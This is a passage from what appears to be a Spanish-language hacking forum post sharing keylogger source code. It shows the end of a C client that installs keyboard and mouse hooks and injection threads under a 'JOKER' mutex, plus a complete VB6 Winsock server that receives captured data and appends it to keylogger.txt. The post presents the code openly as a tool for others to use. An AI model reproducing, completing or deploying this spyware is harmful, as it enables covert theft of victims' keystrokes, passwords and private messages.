while ( ! GetMessage ( & msg, 0, 0, 0 ) )
{
Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );

TranslateMessage ( &msg );
DispatchMessage ( &msg );
}

UnhookWindowsHookEx ( hHook );
UnhookWindowsHookEx ( MouseHook );

return 0;

}

int APIENTRY WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFustil )
{

Mutex = CreateMutexA ( 0, 0, "JOKER" );

FirstThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Inyect, 0, 0, &firstthread );

if ( FirstThread )
{
WaitForSingleObject ( FirstThread, INFINITE );
}

ReleaseMutex ( Mutex );
CloseHandle ( Mutex );
CloseHandle ( FirstThread );

return EXIT_SUCCESS;
}



Y el del servidor es simple, en VB6 crean un control winsock con el nombre Winsock1 y su codigo.

Código: vb

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then
    Winsock1.Close
End If

Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data

Open App.Path & "\keylogger.txt" For Append As #1
Print #1, Data
Close #1

End
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
End
End Sub



Es todo, espero les guste, y se aceptan criticas.